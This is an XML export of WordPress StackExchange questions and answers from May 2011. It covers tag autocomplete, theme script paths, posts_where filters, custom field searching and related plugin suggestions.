  <row Id="18824" PostTypeId="1" AcceptedAnswerId="18827" CreationDate="2011-05-31T14:59:22.047" Score="2" ViewCount="67" Body="&lt;p&gt;I'm creating my own form based on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15283/i-am-trying-to-create-a-simple-frontend-form-for-posting/15288#15288&quot;&gt;this&lt;/a&gt; and I'd like to have a tag selector which is similar to the one on StackExchange. I can roll my own but I was wondering if something similar already exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-06-08T14:47:24.137" Title="Tag selector like stackexchange?" Tags="&lt;plugins&gt;&lt;tags&gt;&lt;select&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="18825" PostTypeId="1" CreationDate="2011-05-31T15:25:36.740" Score="1" ViewCount="548" Body="&lt;p&gt;On the Facebook Developer page they say the comments counts can be displayed using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fb:comments-count href=http://example.com/&amp;gt;&amp;lt;/fb:comments-count&amp;gt; awesome comments&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added this to my loop then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fb:comments-count href=&amp;lt;?php the_permalink();?&amp;gt;&amp;gt;&amp;lt;/fb:comments-count&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to display the comments count per each post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing is displayed even though I do have comments...any suggestion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: placing the code in single.php, it shows the number 0 despite I have many comments....&lt;/p&gt;&#xA;" OwnerUserId="2618" LastEditorUserId="2618" LastEditorDisplayName="" LastEditDate="2011-05-31T15:37:56.140" LastActivityDate="2011-08-31T06:51:25.220" Title="Displaying Facebook comments count with &lt;fb:comments-count&gt; tag" Tags="&lt;facebook&gt;" AnswerCount="1" />
  <row Id="18826" PostTypeId="2" ParentId="18824" CreationDate="2011-05-31T15:28:08.000" Score="1" ViewCount="" Body="&lt;p&gt;Look at the code for the tag box in &lt;code&gt;wp-admin/includes/meta-boxes.php&lt;/code&gt; and the function &lt;code&gt;tagBox&lt;/code&gt; in &lt;code&gt;wp-admin/js/post.dev.js&lt;/code&gt;. You may adapt or reuse these functions.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-31T15:28:08.000" />
  <row Id="18827" PostTypeId="2" ParentId="18824" CreationDate="2011-05-31T15:32:44.943" Score="3" ViewCount="" Body="&lt;p&gt;you can do that using &lt;a href=&quot;http://docs.jquery.com/Plugins/autocomplete#Example&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;JQuery autocomplete plugin&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and once you have included all of the needed JS files just add this code after your new post form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_terms(&quot;post_tag&quot;);&#xA;$tags = '';&#xA;$count = count($terms);&#xA; if ( $count &amp;gt; 0 ){ &#xA;     foreach ( $terms as $term ) {&#xA;       $tags .=  '&quot;'.$term-&amp;gt;name.'&quot;, '; &#xA;    }&#xA;    $tags = substr($tags,0,-2);&#xA; }&#xA;&#xA;echo ' &amp;lt;script&amp;gt;&#xA;JQuery(&quot;#post_tags&quot;).autocomplete(['.$tags.'], {&#xA;        width: 320,&#xA;        max: 4,&#xA;        highlight: true,&#xA;        multiple: true,&#xA;        multipleSeparator: &quot;, &quot;,&#xA;        scroll: true,&#xA;        scrollHeight: 300&#xA;    });&#xA;&amp;lt;/script&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;note:&lt;/strong&gt; Now this is good if you only have a small number of tags, but if you have hundreds or thousands of tags then using an ajax solution is a must.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-08T14:47:24.137" LastActivityDate="2011-06-08T14:47:24.137" />
  <row Id="18828" PostTypeId="1" AcceptedAnswerId="18830" CreationDate="2011-05-31T15:32:57.843" Score="1" ViewCount="47" Body="&lt;p&gt;&lt;br&gt;&#xA;it might be the simplest question but i can't find why my javascript files and images are not recognized by wordpress : i put all my JS files and images in my theme's folder, so i created a folder &quot;word&quot; inside &quot;theme&quot;, with all the content and then i added my files. But the website doesn't recognize the path to the javascript or the images. Could you please tell me what i'm doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i used it like that in the header page :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&amp;lt; script src=&quot;jquery.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thanks ;)&lt;/p&gt;&#xA;" OwnerUserId="5644" LastActivityDate="2011-05-31T15:39:17.807" Title="js and images files are not recognized - beginner" Tags="&lt;images&gt;&lt;javascript&gt;" AnswerCount="1" />
  <row Id="18829" PostTypeId="2" ParentId="18816" CreationDate="2011-05-31T15:36:49.573" Score="4" ViewCount="" Body="&lt;p&gt;take a look at &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;WordPress Transients API&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;which offers a simple and standardized way of storing cached data in the database temporarily by giving it a custom name and a timeframe after which it will expire and be deleted.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The transients API is very similar to&#xA;  the Options API but with the added&#xA;  feature of an expiration time, which&#xA;  simplifies the process of using the&#xA;  wp_options database table to store&#xA;  cached information.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-31T15:36:49.573" />
  <row Id="18830" PostTypeId="2" ParentId="18828" CreationDate="2011-05-31T15:39:17.807" Score="3" ViewCount="" Body="&lt;p&gt;You need to give the full path to your theme files. To get the URL of your theme, use the WordPress function &lt;code&gt;bloginfo( 'template_directory' );&lt;/code&gt; so at a minimum you would need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;&amp;lt;?php bloginfo( 'template_directory' ) ?&amp;gt;/jquery.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, scripts / styles should really be &quot;enqueued&quot; using &lt;code&gt;wp_enqueue_script();&lt;/code&gt; (see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend taking a look at some other themes to see how they include thetheme files like this. Also the Codex page on Theme Development is a good place to start: &lt;a href=&quot;http://codex.wordpress.org/Theme_Development&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Theme_Development&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2011-05-31T15:39:17.807" CommentCount="1" />
  <row Id="18832" PostTypeId="2" ParentId="18813" CreationDate="2011-05-31T15:45:14.117" Score="2" ViewCount="" Body="&lt;p&gt;Most of the new and updated Cart/E-commerce plugins offer that functionality for ex:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/thecartpress/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;TheCartPress, E-Commerce for WordPress Stores&lt;/strong&gt;&lt;/a&gt; (long name for a plugin)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wpstorecart/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;wpStoreCart&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/dukapress/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;DukaPress&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-31T15:45:14.117" CommentCount="4" />
  <row Id="18834" PostTypeId="2" ParentId="18825" CreationDate="2011-05-31T16:05:13.610" Score="1" ViewCount="" Body="&lt;p&gt;You need to include their &lt;a href=&quot;https://github.com/facebook/php-sdk&quot; rel=&quot;nofollow&quot;&gt;Facebook SDK&lt;/a&gt; in order to utilize fbml. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FBML is also &lt;a href=&quot;http://developers.facebook.com/docs/reference/fbml/&quot; rel=&quot;nofollow&quot;&gt;deprecated&lt;/a&gt; for use of xFBML. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, i would just recommend picking a wordpress / facebook plugin for what you need to do. As what you're trying to do in code isn't that simple.&lt;/p&gt;&#xA;" OwnerUserId="5149" LastActivityDate="2011-05-31T16:05:13.610" />
  <row Id="18835" PostTypeId="2" ParentId="18787" CreationDate="2011-05-31T16:05:40.630" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;posts_where&lt;/code&gt; filter hook and create a Subquery to exclude all posts with the meta_key of video:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Create a new filtering function that will add our where clause to the query&#xA;function filter_where_WPSE_18787( $where = '' ) {&#xA;&#xA;    $where .= &quot; AND ID NOT IN ( SELECT DISTINCT post_id from $wpdb-&amp;gt;postmeta WHERE meta_key = 'video' )&quot;;&#xA;    return $where;&#xA;}&#xA;add_filter( 'posts_where', 'filter_where_WPSE_18787' ); &#xA;&#xA;$fsquery = new WP_Query( &#xA;    array ( &#xA;        'posts_per_page' =&amp;gt; 1,&#xA;        'featured' =&amp;gt; 'yes'&#xA;        ));&#xA;&#xA;remove_filter('posts_where', 'filter_where_WPSE_18787' ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-01T06:27:52.523" LastActivityDate="2011-06-01T06:27:52.523" />
  <row Id="18836" PostTypeId="1" CreationDate="2011-05-31T16:06:08.803" Score="0" ViewCount="49" Body="&lt;p&gt;I want to insert a slideshow on individual posts, with the option of seeing multiple images in one post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a slideshow that shows thumbnails of the images, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin &lt;a href=&quot;http://www.shambix.com/en/news/wordpress-plugin-islidex/&quot; rel=&quot;nofollow&quot;&gt;islidex&lt;/a&gt; would be great, but it does not have the option to be installed in a single post.&lt;/p&gt;&#xA;" OwnerUserId="1236" LastActivityDate="2011-05-31T16:06:08.803" Title="Slideshow or gallery for individual post or page" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;pages&gt;&lt;gallery&gt;&lt;slideshow&gt;" />
  <row Id="18837" PostTypeId="2" ParentId="16076" CreationDate="2011-05-31T16:07:35.073" Score="0" ViewCount="" Body="&lt;p&gt;I would also recommend utilizing &lt;a href=&quot;http://960.gs&quot; rel=&quot;nofollow&quot;&gt;960.gs&lt;/a&gt; to create custom grids if you have a current existing theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;960gs allows you to easily convert a theme into various layouts.&lt;/p&gt;&#xA;" OwnerUserId="5149" LastActivityDate="2011-05-31T16:07:35.073" />
  <row Id="18838" PostTypeId="1" AcceptedAnswerId="18874" CreationDate="2011-05-31T16:08:06.727" Score="0" ViewCount="62" Body="&lt;p&gt;I am trying to write a function for my functions.php file. I has to do the following;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;loop through search results and check the template&lt;/li&gt;&#xA;&lt;li&gt;if the template is 'landing.php' add it to ad array&lt;/li&gt;&#xA;&lt;li&gt;use the id's collected in the array to exclude these pages from the search results.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I found some code on the Wordpress Codex forum, I have added a little bit myself but unfortunately don't know what i'm doing...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_where($where = '') {&#xA;global $wpdb; // do I need this?&#xA;if ( is_search() ) {&#xA;    if(is_page_template('landing.php')) { echo 'yes!'; } // ids collected here&#xA;    $exclude = array(286);  &#xA;&#xA;    for($x=0;$x&amp;lt;count($exclude);$x++){&#xA;      $where .= &quot; AND ID != &quot;.$exclude[$x];&#xA;    }&#xA;}&#xA;return $where;&#xA;}&#xA;add_filter('posts_where', 'filter_where');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5827" LastActivityDate="2011-05-31T22:24:09.333" Title="Can anyone offer any help with this function?" Tags="&lt;php&gt;&lt;functions&gt;&lt;search&gt;" AnswerCount="2" />
  <row Id="18839" PostTypeId="1" CreationDate="2011-05-31T16:16:51.600" Score="3" ViewCount="102" Body="&lt;p&gt;I've created a custom post type that makes use of custom fields over the default editor. I want to receive an email notification when an update to the post is made. The email does not have to show the diff (though it would be nice). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried &lt;a href=&quot;http://wordpress.org/extend/plugins/email-post-changes/&quot; rel=&quot;nofollow&quot;&gt;Email Post Changes&lt;/a&gt; and it requires you to have &quot;Revisions&quot; enabled. I've tried enabling it and I am guessing, because I am not using the default editor, that it won't work without it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on either getting the plugin working or figuring out how to have an email sent when a custom post type is updated?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-06-05T11:04:29.110" Title="Custom post type without editor or revisions - Notify on update?" Tags="&lt;custom-post-types&gt;&lt;email&gt;" AnswerCount="1" />
  <row Id="18840" PostTypeId="2" ParentId="18668" CreationDate="2011-05-31T16:34:48.533" Score="1" ViewCount="" Body="&lt;p&gt;you may use this plugin :&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/disabler/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/disabler/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i found this function somewhere on the internet (but can't remember where...). it may do what you are looking for :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Remove self pings&#xA;add_action( 'pre_ping', 'my_no_self_ping' );&#xA;function my_no_self_ping( &amp;amp;$links ) {&#xA;    $home = get_option( 'home' );&#xA;    foreach ( $links as $l =&amp;gt; $link )&#xA;        if ( 0 === strpos( $link, $home ) )&#xA;            unset( $links[$l] );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2011-05-31T16:34:48.533" CommentCount="2" />
  <row Id="18841" PostTypeId="2" ParentId="18709" CreationDate="2011-05-31T16:41:17.480" Score="1" ViewCount="" Body="&lt;p&gt;I was wondering the same myself recently and this is the best solution I've come up with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, declare a really simple class in your functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Object&#xA;{&#xA;    var $data = array();&#xA;&#xA;    public function __set($name, $value)&#xA;    {&#xA;        $this-&amp;gt;data[$name] = $value;&#xA;    }&#xA;&#xA;    public function __get($name)&#xA;    {&#xA;        return $this-&amp;gt;data[$name];&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the generic object we will use to store everything&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, we will connect to the SQL database and pull all the data we need.  In this case I'm doing a very generic query to select ALL the posts in the database and attach their relevant data.  If you've got a large DB, you probably need to narrow this query down a little with some conditions on the post such as adding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;WHERE post.post_type = 'graph'&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to the SQL query, but I'm not sure exactly what you narrow down the results by, so we'll stay generic for demo purposes...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;    $query = &quot;SELECT post.id as post_id, meta.meta_key, meta.meta_value FROM wp_posts as post LEFT JOIN wp_postmeta as meta ON post.id = meta.post_id&quot;;&#xA;    $result = $wpdb-&amp;gt;get_results($query);&#xA;    $last_post_id = -1;&#xA;    $object_array = array();&#xA;    foreach($result as $post)&#xA;    {&#xA;        if ($last_post_id != $post-&amp;gt;post_id)&#xA;        {&#xA;            $instance = new Object;&#xA;            $last_post_id = $post-&amp;gt;post_id;&#xA;            $instance-&amp;gt;post_id = $post-&amp;gt;post_id;&#xA;&#xA;            $instance-&amp;gt;{$post-&amp;gt;meta_key} = $post-&amp;gt;meta_value;&#xA;            $object_array[] = $instance;&#xA;        }&#xA;        else {&#xA;            $meta_key = $post-&amp;gt;meta_key;&#xA;            $instance-&amp;gt;$meta_key = $post-&amp;gt;meta_value;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this is doing is it is taking the relatively &quot;dirty&quot; query from sql and organizing it into the format you mentioned above.&#xA;lastly try printing the array out for yourself&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print_r($object_array);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll notice that your variables are embedded in another array &quot;data&quot; within the object but because of the getter and setter functions we wrote in the class definition, you still get to call the variable names directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta_key = &quot;my_key&quot;;&#xA;echo $object_array[0]-&amp;gt;$meta_key;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this is useful.&lt;/p&gt;&#xA;" OwnerUserId="5835" LastEditorUserId="5835" LastEditorDisplayName="" LastEditDate="2011-05-31T19:59:36.187" LastActivityDate="2011-05-31T19:59:36.187" CommentCount="1" />
  <row Id="18842" PostTypeId="1" AcceptedAnswerId="19143" CreationDate="2011-05-31T16:47:49.330" Score="2" ViewCount="204" Body="&lt;p&gt;I'm building a quite complex custom post type structure and I would need some help regarding my metaboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Thank's to the &lt;code&gt;have_fields_and_multi()&lt;/code&gt; function, the user enters data in simple text input fields (with a &quot;Add new&quot; button)&lt;/li&gt;&#xA;&lt;li&gt;The values from the previous text inputs should be used to build a &lt;code&gt;select&lt;/code&gt; dropdown in another metabox.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To make it simple, here is a mockup (also attached to this post): &lt;a href=&quot;http://idzr.org/0c95&quot; rel=&quot;nofollow&quot;&gt;http://idzr.org/0c95&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the first part working, it's easy. But I can't figure out how to make the second part to work. If I use a &lt;code&gt;while($mb-&amp;gt;have_fields_and_multi('aaa'))&lt;/code&gt; in another &lt;code&gt;while($mb-&amp;gt;have_fields_and_multi('bbb'))&lt;/code&gt; the page is infinite (the loop doesn't end. If I use &lt;code&gt;foreach&lt;/code&gt; I have other problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have an idea about how I can achieve this ? Thanks!!!&lt;/p&gt;&#xA;" OwnerUserId="5834" LastEditorUserId="5834" LastEditorDisplayName="" LastEditDate="2011-06-01T05:32:41.563" LastActivityDate="2011-06-03T11:26:55.277" Title="Using WPAlchemy metabox values in another metabox" Tags="&lt;custom-post-types&gt;&lt;php&gt;&lt;admin&gt;&lt;metabox&gt;&lt;post-editor&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" />
  <row Id="18843" PostTypeId="2" ParentId="18838" CreationDate="2011-05-31T16:48:03.140" Score="0" ViewCount="" Body="&lt;p&gt;If you need to remove some specific pages or posts from your search results, you can easily do this using the &quot;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-hide-post/&quot; rel=&quot;nofollow&quot;&gt;WP Hide Post&lt;/a&gt;&quot; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to its description: &quot;Enables you to control the visibility of items on your blog by making posts/pages hidden on some parts of your blog, while still visible in other part.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, this plugin allows you to control the visibility of a &lt;strong&gt;post&lt;/strong&gt; in various different views:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Front Page (Homepage, depending on your theme, this may not be relevant)&lt;/li&gt;&#xA;&lt;li&gt;The Category Page (listing the posts belonging to a category)&lt;/li&gt;&#xA;&lt;li&gt;The Tag Page (listing the posts tagged with a given tag)&lt;/li&gt;&#xA;&lt;li&gt;The Authors Page (listing the posts belonging to an author)&lt;/li&gt;&#xA;&lt;li&gt;The Archive Pages (listing the posts belonging to time period: month, week, day, etc..)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;The Search Results&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Feeds&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The posts will disappear from the places you choose them to disappear. Everywhere else they will show up as regular posts. In particular, permalinks of the posts still work, and if you generate a sitemap, with something like the Google XML Sitemaps the post will be there as well. This means that the content of your post will be indexed and searchable by search engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a WordPress &lt;strong&gt;page&lt;/strong&gt;, this plugin also allows you to control the visibility with two options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hide a page on the front page (homepage) only.&lt;/li&gt;&#xA;&lt;li&gt;Hide a page everywhere in the blog (&lt;strong&gt;hiding the page in the search results&lt;/strong&gt; is optional).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1236" LastActivityDate="2011-05-31T16:48:03.140" CommentCount="1" />
  <row Id="18844" PostTypeId="1" AcceptedAnswerId="18967" CreationDate="2011-05-31T17:09:32.353" Score="0" ViewCount="66" Body="&lt;p&gt;I installed the all in one seo pack plugin and after enabling it my post titles get &quot;stuck&quot; with my blog title without a space in the title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Affected site: &lt;a href=&quot;http://bit.ly/iZ9ik0&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/iZ9ik0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see the post title is: &lt;strong&gt;*&lt;em&gt;&lt;/strong&gt;.blogg.no&#xA;And my blog title is: Sp&lt;/em&gt;*set Blogg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The title is now &lt;strong&gt;&lt;em&gt;*&lt;/em&gt;&lt;/strong&gt;.blogg.noSp**set Blogg, I can't figure out how I can get these to separated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My all in one seo pack settings is %post_title% on the posts.&lt;/p&gt;&#xA;" OwnerUserId="2188" LastActivityDate="2011-06-01T17:38:32.563" Title="My post titles is getting mashed up with my blog title" Tags="&lt;title&gt;&lt;all-in-one-seo&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="18845" PostTypeId="1" AcceptedAnswerId="18895" CreationDate="2011-05-31T17:16:11.040" Score="1" ViewCount="124" Body="&lt;p&gt;need to send an email from a page when a form is submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thought i'd use jquery post but not really sure where to start. Would i use wp_mail? And if so how could it be called ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if that seems vague. Just trying to send an email to the client before a form posts its data to another site;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#donationForm').submit(function() {&#xA;&#xA;// send email to client before moving onto worldpay payment form&#xA;&#xA;&#xA;//  send data to worldpay....&#xA;this.submit();&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;best, Dc&lt;/p&gt;&#xA;" OwnerUserId="3978" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-31T23:14:46.730" LastActivityDate="2011-05-31T23:29:59.037" Title="wp_mail script with jquery post" Tags="&lt;jquery&gt;&lt;ajax&gt;&lt;email&gt;&lt;wp-mail&gt;" AnswerCount="2" />
  <row Id="18846" PostTypeId="2" ParentId="13714" CreationDate="2011-05-31T17:19:21.630" Score="1" ViewCount="" Body="&lt;p&gt;You should use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_categories&quot; rel=&quot;nofollow&quot;&gt;get_categories&lt;/a&gt;. It supports an exclude argument.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-05-31T17:19:21.630" />
  <row Id="18847" PostTypeId="1" AcceptedAnswerId="18851" CreationDate="2011-05-31T17:23:23.063" Score="1" ViewCount="191" Body="&lt;p&gt;I use custom fields for lots of my content on both Posts and Pages, so that half of the text will be in the main post body and the other half in a custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, when doing this only the text in the post body is searchable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have all the custom fields included in the search (just joined together as one). Preferably without installing a plugin, as all the plugins I have seen do not seem to be able to do this or they add loads of options I don't need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just would like one search box, that uses WordPress's default search but finds words in custom fields as well as those in the main body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2011-05-31T18:52:03.753" Title="Including custom fields in search?" Tags="&lt;custom-field&gt;&lt;search&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18848" PostTypeId="2" ParentId="8083" CreationDate="2011-05-31T17:39:10.263" Score="0" ViewCount="" Body="&lt;p&gt;Try this plug in: [Hide Admin Panels][1]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1]: &lt;a href=&quot;http://wordpress.org/extend/plugins/hide-admin-panels/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/hide-admin-panels/&lt;/a&gt;.. worked for me. :)&lt;/p&gt;&#xA;" OwnerUserId="5836" LastActivityDate="2011-05-31T17:39:10.263" />
  <row Id="18849" PostTypeId="2" ParentId="668" CreationDate="2011-05-31T17:46:29.807" Score="0" ViewCount="" Body="&lt;h3&gt;Galleries&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Currently you &lt;em&gt;don't&lt;/em&gt; get the &quot;Gallery&quot; tab if you haven't uploaded a &lt;strong&gt;minimum of 2 images&lt;/strong&gt; to a post. So it's impossible to use the media library files to build a new gallery. For some (unknown) reason there's support for adding the same images (or other files) to multiple Posts, but you can't build galleries from posts that already exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Bypass/Filter only the gallery markup. Currently you have to completely override the gallery function just to add for. eg. a css class to every image. We would just need a &lt;strong&gt;single filter&lt;/strong&gt; to save us from repeating the (pretty long) core code over and over again.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-31T17:46:29.807" CommunityOwnedDate="2011-05-31T17:46:29.807" />
  <row Id="18850" PostTypeId="1" CreationDate="2011-05-31T18:03:15.820" Score="0" ViewCount="44" Body="&lt;p&gt;I need a posts section below an image posted on a page. The websites (&lt;a href=&quot;http://www.buyfixandprofit.com/investment-property-portfolio/&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;) theme has a sidebar, but to make the image fit, I used the [no sidebar] template for the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, I would create the template for page of posts, but I'm not sure how to combine both. What would be the best option for going about this? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="5202" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-31T18:32:16.573" LastActivityDate="2011-05-31T18:32:16.573" Title="Combining [no sidebar] and [selective category] templates on a page" Tags="&lt;posts&gt;&lt;pages&gt;&lt;page-template&gt;" CommentCount="4" />
  <row Id="18851" PostTypeId="2" ParentId="18847" CreationDate="2011-05-31T18:52:03.753" Score="1" ViewCount="" Body="&lt;p&gt;You could use a plugin like &quot;Search Everything&quot; which lets you toggle what to include in the search (including Custom Fields). Check it out here: &lt;a href=&quot;http://wordpress.org/extend/plugins/search-everything/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search-everything/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2011-05-31T18:52:03.753" CommentCount="1" />
